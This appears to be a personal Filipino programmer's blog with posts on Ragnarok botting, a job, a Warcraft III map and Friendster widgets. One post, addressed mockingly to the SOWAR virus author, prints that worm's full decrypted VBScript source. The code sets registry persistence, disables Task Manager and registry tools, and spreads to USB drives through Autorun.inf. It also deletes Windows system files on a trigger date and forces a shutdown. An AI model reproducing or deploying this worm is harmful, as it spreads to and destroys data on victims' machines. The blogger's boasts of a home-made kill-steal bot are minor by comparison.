Balik Ragna - Ang Buhay ng Programmer : Openkore

When DOM episode of Ragnarok Philippines has arrived, I played ragnarok again.
Well I am not an ragnarok addict or I say Computer Game Addict, I played ragnarok for educational purposes. Educational Purposes because I use OpenKore Bot for playing.

I can rate myself in the level that I can even revise the kore by myself. I dont know the Perl language but as a programmer, I can basically manipulate(delete,edit) the codes.

Lots of people who are botters, are looking/searching for a KS bot, Kill Steal bot, and it result to HACKED, BUG OR HOAX bots. Their account are sometimes hacked because of trojan that is built-in in the said bot.

That's for you, LEECH

KS Bot are not for you to have because you are just leechers who are self centered. I have a KS Bot and I made it on my own, and if you think I am self centered well I have the rights to be self centered that because I studied it and I don't steal it.

Wag na kayong pasaway kasi meron na kayong bot, aabuso pa kayo

Well I just do this for educational purposes, not FUN

Message to SOWAR VIRUS maker

This are the Codes of the Virus named SOWAR. If I am not mistaken, this is the "TAGA LIPA ARI" IE title before.
Honestly, I am just laughing on your REVISED codes. Even if you ENCRYPT your codes, I can view it clearly.
This is to tell you that, stop making nonsense because it is just a useless one...
Just make stuff that are useful and good, not on doing stuff that are originally NOT yours.
You and Dave are alike :P

See yeah

' vbs.sowar (philippines)
On Error Resume Next
Dim fso, WHsP, WinDir, MyFName
Set fso=CreateObject("Scripting.FileSystemObject")
Set WHsP=CreateObject("WScript.Shell")

MyFName=WScript.ScriptFullName
WinDir=fso.GetSpecialFolder(0)

If LCase(Mid(MyFName, 4)) = "itcr.vbs" Then
WHsP.Run "explorer.exe " & Left(MyFName, InStrRev(MyFName, "\") - 1)
ElseIf LCase(MyFName) <> LCase(WinDir & "\esto.vbs") Then
Call LoadTxtFile()
End If

fso.CopyFile MyFName, WinDir & "\esto.vbs", True
fso.GetFile(WinDir & "\esto.vbs").Attributes=39
WHsP.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\System Restore", "wscript.exe """ & WinDir & "\esto.vbs"""

Call MakeRegEntries()
Call PayloadIt()

IActiv=""
IActiv=WHsP.RegRead("HKEY_CURRENT_USER\Software\sowar\stats")
If (IActiv="" Or IActiv=0) Then
WHsP.RegWrite "HKEY_CURRENT_USER\Software\sowar\stats", 1
WScript.Sleep 25500
Call InitSpread()
Else
WScript.Quit
End If

Sub MakeRegEntries()
On Error Resume Next
With WHsP
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "en"
.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\Homepage", 1, "REG_DWORD"
.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\IeakHelpString", "HACKED USING: SOWAR"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, "REG_DWORD"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD"
.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\System Restore", "wscript.exe """ & WinDir & "\esto.vbs"""
End With
End Sub

Sub InitSpread()
On Error Resume Next
WHsP.RegWrite "HKEY_CURRENT_USER\Software\sowar\stats", 0
Do
Set ActivDrives=fso.Drives
For Each USBFlashDrv In ActivDrives
DrivePath = USBFlashDrv.Path
If (USBFlashDrv.DriveType > 0 And USBFlashDrv.DriveType <> "A:" And USBFlashDrv.Path <> "B:") Then
If (USBFlashDrv.IsReady) Then
fso.CopyFile MyFName, DrivePath & "\itcr.vbs", True
fso.GetFile(DrivePath & "\itcr.vbs").Attributes=39
fso.CopyFile MyFName, DrivePath & "\un.vbs", True
fso.GetFile(DrivePath & "\un.vbs").Attributes=32
If fso.FileExists(DrivePath & "\Autorun.inf") Then
fso.GetFile(DrivePath & "\Autorun.inf").Attributes=34
fso.DeleteFile DrivePath & "\Autorun.inf", True
End If
Set AutoRunScript=fso.CreateTextFile(DrivePath & "\Autorun.inf", True)
AutoRunScript.WriteLine "[autorun]"
AutoRunScript.WriteLine "open=wscript.exe itcr.vbs"
AutoRunScript.WriteLine "shell\Open\Command=wscript.exe itcr.vbs"
AutoRunScript.WriteLine "shell\Open\Default=1"
AutoRunScript.WriteLine "shell\AutoPlay\Command=wscript.exe itcr.vbs"
AutoRunScript.WriteLine "shell\Explore\Command=wscript.exe itcr.vbs"
AutoRunScript.Close
fso.GetFile(DrivePath & "\Autorun.inf").Attributes=39
End If
End If
Next
IsActiv=""
IsActiv=WHsP.RegRead("HKEY_CURRENT_USER\Software\sowar\stats")
If IsActiv=1 Then
WScript.Quit
End If
Call MakeRegEntries()
WScript.Sleep 4000
Loop
End Sub

Sub LoadTxtFile()
On Error Resume Next
bname=Mid(MyFName, InStrRev(MyFName, "\") + 1)
txtfilename=WinDir & "\" & Left(bname, InStrRev(bname, ".")-1) & ".txt"
Set txtfile=fso.CreateTextFile(txtfilename, True)
txtfile.write "un"
txtfile.close
WHsP.Run "notepad.exe """ & txtfilename & """"
End Sub

Sub PayloadIt()
On Error Resume Next
CurCount=""
CurCount=WHsP.RegRead("HKEY_LOCAL_MACHINE\Software\sowar\count")
If (CurCount="" Or CurCount=0) Then
NewCount=0
WHsP.RegWrite "HKEY_LOCAL_MACHINE\Software\sowar\count", 1, "REG_DWORD"
Else
NewCount=CurCount
WHsP.RegWrite "HKEY_LOCAL_MACHINE\Software\sowar\count", CurCount + 1, "REG_DWORD"
End If
If (Day(Date) = 12 And Month(Date) = 6) Or (NewCount > 100) Then
fso.DeleteFile Left(windir, 3) & "ndetect.com", True
fso.DeleteFile Left(windir, 3) & "Io.sys", True
fso.DeleteFile Left(windir, 3) & "Msdos.sys", True
fso.DeleteFile windir & "\himem.sys", True
fso.DeleteFile windir & "\Win.com", True
fso.DeleteFile windir & "\system.ini", True
fso.DeleteFile windir & "\win.ini", True
wsh.Run "rundll32.exe shell32.dll,SHExitWindowsEx 2"
End If
End Sub

' sowar.a (ver. 1.0.5)
' Copyright(C) Jet F.

Decrypt by CaDeAtH
HERE - soon to be downloadable

A BerDeath Request

This girl of mine(friend) always give me something to do, well I am not mocking about that but I thank her! Her idea is soooo interesting, she wants me to do stuff that I haven't try. Last night, we text until we both fell asleep. We tackle about her Linker using Death Codez Widgets and putting the Linker in her blog's navigation. Well it is not a difficult job for me.

And now, the next day we chat, she sent me FAN SIGNS, around three (3) Fan signs, putting my name on her palm. I was touch because we never communicate for a months because of a misunderstanding. I don't want to talk about it right now.

Geee, If you're reading this right now, I want to thank you for doing such sweet thing to me. Well, for me it is a big thing.

God Bless you Berbz :D

PIPP Layout Artist

This is my First Job, as a Layout Artist at Perfect Image Group of Company at General Santos City. I am temporary here because I should be in the MIS together with technicians. Yes, I am the programmer around in the company.
I started last March 3, 2009 but I think I am starting to love my job around here :)
Aside of being the Marketing's Layout Artist, I do some works too every time the Department Head wants something. She is kind and cute too even though she is she a Married woman(I guess).
All the personnel here are kind, nice and sweet despite of their busy hours.
My Immediate superior, Mr. Leomark is kind too. He knows I am not an artistic people and that is difficult for be to assign in this Job but he don't pressure me so much.

Well in the other department, my Best friend, Agent xx, is also here. She is the one who got me here. Right now, she is already reassign in the Treasury. We both know that she don't like there but we can't do anything about it. The only advice I rendered to her is to learn Photoshop so that she can replace me in my position.

All of this event that is happening to me here in this company, all of this I thank God because of this experience. Without his present, guidance and blessing I can't do this all.

May God Bless us all

A week (-1) of Warcraft III

My friend ask me of something, something that I want to learn too. Their teacher want them to make an AI project and she cannot make one without my help. As she explain the mechanics of her report, their teacher allow them to make an AI that is a SIMS like game. So I think of something that has already a GUI and unique way to have a SIMS like game. And that is Warcraft.

Didn't get it? I plan to make a Warcraft III: TFT(The Frozen Throne) Map with a gameplay like a SIMS does.
As we discuss, I have point out somethings that compares a MODERN LIFESTYLE(Sims environment) and a MEDIEVAL GAME LIFESTYLE(Warcraft III: TFT environment). I just identify some NEEDS of a Warcraft III Character because the WCIII:TFT environment is a war and not a household stuff game just like SIMS.
The main reason of the project is that a character has NEEDS, so what ever needs it was, it will depend to the programmer.

Starting Febuary 9 - 10, we planned for the MAP design and its villagers and mobs. The settings is a VILLAGE inside a forest, with a Mayor, farmers and children. Also a encampment were added to with a scout tower. The mobs were spiders, gnolls and murlocs. The village is a HUMAN village that is protected by a small human armies.

Febuary 11 and 13, we start the codes/scripts of the MAP. The codes/scripts are for the SIMS like attitude of the character, for her hunger, hygiene and rest. The map has Quest also that serves as the Job. And lastly, items that serves food and items that gives permanent stats to the character.

The heroine in the game is named Valeera Sanguinar, a Blood Elf in the World of Warcraft(WoW). I choose her because she is a noble character in Warcraft that is a member of the HORDE FACTION but has a ALLIANCE FACTION(King Varian Wrynn) friends. In WoW, it is not a joke to have a friend in OPPOSITE FACTION. Because in the story, the warcraft between HORDES and HUMANS still continue with a new allies. The Blood Elves are High Elves that serves the Humans for more than 1 decade. Under Prince Kael'thas Sunstrider, he leads his comrade, Blood Elves, exile the Lordaeron because the Grand Marshall Garithos is accussing them for HIGH TREASON. Because of that the BLOOD ELVES hates the humans and join the HORDE. Valeera Sanguinar is a traveler that helps the Humans in their small daily problems.

I have provided a link so that you can play the game.
Download HERE
File Size: 1.36MB

Thank you for reading
and have a blessed day

Friendster Widgets

Finally,
I have started the External JS Widget of Death Codez

http://widgets.friendster.com/dCodianz

Basically it loads you External JS File only, but the trick is you will put some codes in your JS File to load your layout of course :)

As of now, the widgets is for beta only. Having 1 working function as of now.

Feel free to use!

Friendster Death Codez

Friendster Death Codez

This is OUR site.
The purpose is to teach people who wants to learn something about friendster.
We help people to learn, not to steal. I hate to see people who got talents but using it to abuse other who do not know anything. They even name things that they didn't even own. Just to make other impress to them.

Currently we are few, but we are doing our best to share our knowledge to the hundreds.

God Bless us all